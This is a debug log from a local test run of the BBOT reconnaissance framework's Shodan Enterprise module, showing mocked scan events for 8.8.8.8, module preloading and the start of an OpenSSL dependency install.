TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) +2026-02-27 22:06:21,145 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) because precheck succeeded +2026-02-27 22:06:21,145 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:06:21,145 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:06:21,146 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:06:21,146 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:06:21,147 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:06:21,147 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:06:21,148 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:06:21,148 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 22:06:21,149 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 22:06:21,217 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) from shodan_enterprise +2026-02-27 22:06:21,219 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'miscellaneous', 'in-scope', 'web-technology'}) passed post-check +2026-02-27 22:06:21,220 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:06:21,222 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:06:21,222 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-02-27 22:06:21,223 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 22:06:21,223 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) from shodan_enterprise +2026-02-27 22:06:21,224 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'in-scope', 'web-technology'}) passed post-check +2026-02-27 22:06:21,224 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:06:21,224 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:06:21,225 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 22:06:21,225 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 22:06:21,225 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 22:06:21,226 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-02-27 22:06:21,227 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 22:06:21,228 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 22:06:21,228 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 22:06:21,229 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 22:06:21,229 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-02-27 22:06:21,229 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 22:06:21,330 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 22:06:21,331 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 22:06:21,350 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 22:06:21,351 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 22:06:21,352 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 22:06:21,364 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 22:06:21,365 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 22:06:21,366 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 22:06:21,367 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 22:06:21,368 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 22:06:21,369 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 22:06:21,494 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_11kmtpu54e completed in 0 seconds with status FINISHED +2026-02-27 22:06:21,494 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 22:06:21,496 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:06:21,497 [CRITICAL] bbot test_module_shodan_enterprise.py:68 Found 1 ASN events +2026-02-27 22:06:21,497 [HUGEINFO] bbot test_module_shodan_enterprise.py:74 ASN Data: {'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': 'US'} +2026-02-27 22:06:56,607 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 22:06:56,620 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 22:06:56,621 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 22:06:56,622 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 22:06:56,624 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 22:06:56,626 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 22:06:56,628 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 22:06:56,628 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 22:06:56,629 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 22:06:56,630 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 22:06:56,632 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 22:06:56,634 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 22:06:56,635 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 22:06:56,637 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 22:06:56,638 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 22:06:56,639 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 22:06:56,640 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 22:06:56,641 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 22:06:56,641 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 22:06:56,648 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 22:06:56,652 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 22:06:56,653 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 22:06:56,655 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 22:06:56,657 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 22:06:56,658 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 22:06:56,660 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 22:06:56,661 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 22:06:56,662 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 22:06:56,663 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 22:06:56,664 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 22:06:56,665 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 22:06:56,666 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 22:06:56,668 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 22:06:56,669 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 22:06:56,670 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 22:06:56,671 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 22:06:56,672 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 22:06:56,673 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 22:06:56,674 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 22:06:56,675 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 22:06:56,676 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 22:06:56,678 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 22:06:56,679 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 22:06:56,680 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 22:06:56,681 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 22:06:56,689 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 22:06:56,691 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 22:06:56,693 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 22:06:56,694 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 22:06:56,696 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 22:06:56,699 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 22:06:56,700 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 22:06:56,701 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 22:06:56,702 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 22:06:56,703 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 22:06:56,705 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 22:06:56,706 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 22:06:56,707 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 22:06:56,708 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 22:06:56,710 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 22:06:56,711 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 22:06:56,712 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 22:06:56,713 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 22:06:56,715 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 22:06:56,716 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 22:06:56,717 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 22:06:56,718 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 22:06:56,719 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 22:06:56,720 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 22:06:56,722 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 22:06:56,723 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 22:06:56,724 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 22:06:56,726 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 22:06:56,727 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 22:06:56,728 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 22:06:56,730 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 22:06:56,731 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 22:06:56,732 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 22:06:56,733 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 22:06:56,734 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 22:06:56,736 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 22:06:56,737 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 22:06:56,737 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 22:06:56,738 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 22:06:56,740 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 22:06:56,741 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 22:06:56,742 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 22:06:56,743 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 22:06:56,744 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 22:06:56,745 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 22:06:56,746 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 22:06:56,748 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 22:06:56,749 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 22:06:56,750 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 22:06:56,751 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 22:06:56,752 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 22:06:56,753 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 22:06:56,754 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 22:06:56,756 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 22:06:56,757 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 22:06:56,758 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 22:06:56,759 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 22:06:56,760 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 22:06:56,761 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 22:06:56,762 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 22:06:56,763 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 22:06:56,764 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 22:06:56,766 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 22:06:56,767 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 22:06:56,768 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 22:06:56,769 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 22:06:56,770 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 22:06:56,772 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 22:06:56,772 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 22:06:56,773 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 22:06:56,774 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 22:06:56,775 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 22:06:56,776 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 22:06:56,777 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 22:06:56,778 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 22:06:56,780 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 22:06:56,782 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 22:06:56,783 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 22:06:56,784 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 22:06:56,785 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 22:06:56,786 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 22:06:56,786 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 22:06:56,788 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 22:06:56,789 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 22:06:56,791 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 22:06:56,792 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 22:06:56,796 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 22:06:56,798 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 22:06:56,800 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 22:06:56,802 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 22:06:56,804 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 22:06:56,805 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 22:06:56,807 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 22:06:56,808 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 22:06:56,809 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 22:06:56,809 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 22:06:56,812 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 22:06:56,813 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 22:06:56,815 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 22:06:56,817 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 22:06:56,818 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 22:06:56,820 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 22:06:56,821 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 22:06:56,822 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 22:06:56,823 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 22:06:56,824 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 22:06:56,825 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 22:06:56,827 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 22:06:56,828 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 22:06:56,830 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 22:06:56,831 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 22:06:56,832 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 22:06:56,834 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 22:06:56,835 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 22:06:56,836 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 22:06:56,837 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 22:06:56,839 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 22:06:56,840 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 22:06:56,841 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 22:06:56,843 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 22:06:56,845 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 22:06:56,846 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 22:06:56,849 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 22:06:56,850 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 22:06:56,852 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 22:06:57,038 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4404460032 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:06:57,038 [DEBUG] filelock _api.py:334 Lock 4404460032 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:06:57,040 [DEBUG] filelock _api.py:364 Attempting to release lock 4404460032 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:06:57,040 [DEBUG] filelock _api.py:367 Lock 4404460032 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 22:06:58,201 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:06:58,201 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 22:06:58,202 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 22:06:58,349 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 22:06:58,940 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 22:06:58,941 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 22:06:58,941 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 22:06:58,941 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 22:06:59,167 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 22:06:59,168 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 22:06:59,280 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 22:06:59,280 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 22:06:59,338 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 22:06:59,340 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 22:06:59,341 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 22:06:59,893 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 22:06:59,894 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 22:07:02,730 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 22:07:02,731 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 22:07:02,731 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + 